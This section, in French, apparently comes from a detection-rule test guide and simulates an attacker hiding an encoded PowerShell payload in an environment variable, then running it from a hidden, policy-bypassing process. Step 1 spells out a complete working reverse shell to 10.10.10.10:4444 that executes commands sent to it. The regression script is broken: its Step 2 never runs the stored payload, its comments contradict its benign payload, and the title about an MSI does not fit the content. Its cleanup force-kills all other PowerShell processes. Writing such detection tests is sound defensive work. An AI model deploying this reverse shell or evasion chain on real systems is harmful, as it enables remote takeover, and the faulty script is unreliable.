Le retour du fond MSI malveillant

Exécution de Simulation

Prérequis : La Vérification Initiale de Télémétrie & Baseline doit être réussie.

Raison : Cette section détaille l’exécution précise de la technique adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

• Narratif d’Attaque & Commandes :
  L’attaquant injecte d’abord une charge utile PowerShell encodée en base64 dans une variable d’environnement de niveau processus nommée INTERNAL_DB_CACHE. Cette charge utile, lorsqu’elle est décodée, lance un reverse shell. L’attaquant invoque ensuite un second processus PowerShell qui lit la variable et l’exécute via ScriptBlock::Create, gardant ainsi la commande malveillante hors de la ligne de commande immédiate. Cette approche de « vivre de la terre » évite la détection par signature statique et exploite le modèle en deux étapes que la règle est conçue pour capter.

  1. Étape 1 – Encoder la charge utile et la stocker dans la variable d’environnement

     $payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
     $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
     [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")

  2. Étape 2 – Exécuter la charge utile encodée de la variable d’environnement

     powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))

• Script de Test de Régression : Le script ci-dessous automatise les deux étapes, capture les horodatages pour la corrélation et insère une courte pause pour laisser le premier processus se terminer avant de commencer le second.

  # ----------------------------------------------
  # Simulation PowerShell de charge utile encodée dans la variable d'environnement
  # ----------------------------------------------
  
  # Étape 1 – Encoder une charge utile de shell inversée inoffensive (remplacer par votre adresse C2)
  $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep'   # Petite charge utile bénigne pour des tests sûrs
  $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
  [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
  Write-Host "[*] Variable d'environnement INTERNAL_DB_CACHE définie."
  
  # Courte pause pour assurer l'enregistrement de la première commande
  Start-Sleep -Seconds 2
  
  # Étape 2 – Exécuter la charge utile depuis la variable
  powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command `
  Write-Host "[*] Exécution de la charge utile déclenchée."

• Commandes de Nettoyage : Supprimer la variable d’environnement temporaire et terminer tous les processus errants créés pendant le test.

  # Supprimer la variable d'environnement de test
  [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process")
  Write-Host "[*] NETTOYAGE – INTERNAL_DB_CACHE supprimé."
  
  # S'assurer qu'aucun instance powershell.exe n'est restée orpheline (hors de la session actuelle)
  Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force
  Write-Host "[*] NETTOYAGE – processus PowerShell orphelins terminés."